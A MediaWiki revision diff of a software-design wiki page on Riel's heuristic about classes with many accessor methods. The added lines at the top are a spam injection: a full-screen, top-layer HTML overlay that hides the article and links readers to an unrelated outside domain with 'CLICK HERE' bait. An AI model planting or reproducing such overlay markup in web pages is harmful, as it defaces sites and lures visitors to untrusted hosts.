Beware of many accessors

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
m
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://uwujojedeh.co.cc Under Construction! Please Visit Reserve Page. Page Will Be Available Shortly]=
 +
----
 +
=[http://uwujojedeh.co.cc CLICK HERE]=
 +
----
 +
</div>
 
:''Beware of classes that have many accessor methods defined in their public interface, many of them imply that related data and behavior are not being kept in one place.''--Riel's Heuristic 3.3, [[Arthur Riel 1996]]
 
:''Beware of classes that have many accessor methods defined in their public interface, many of them imply that related data and behavior are not being kept in one place.''--Riel's Heuristic 3.3, [[Arthur Riel 1996]]
  

Revision as of 07:30, 24 November 2010


Beware of classes that have many accessor methods defined in their public interface, many of them imply that related data and behavior are not being kept in one place.--Riel's Heuristic 3.3, Arthur Riel 1996

If there are too many accessors for fields within a class (especially public accessors), it indicates that there are large numbers of requests requiring those fields. If a class is designed properly, only a small portion of the class should be usable by the external classes, other parts should be methods which assist the class to implement its behaviour. Too many accessors indicate that related data and behaviour are not placed together. In addition, too many client requests for field values either means the class is not supporting its own behaviour very well or some unrelated things have been put into the class (which breaks the Single responsibility principle).

See also

Personal tools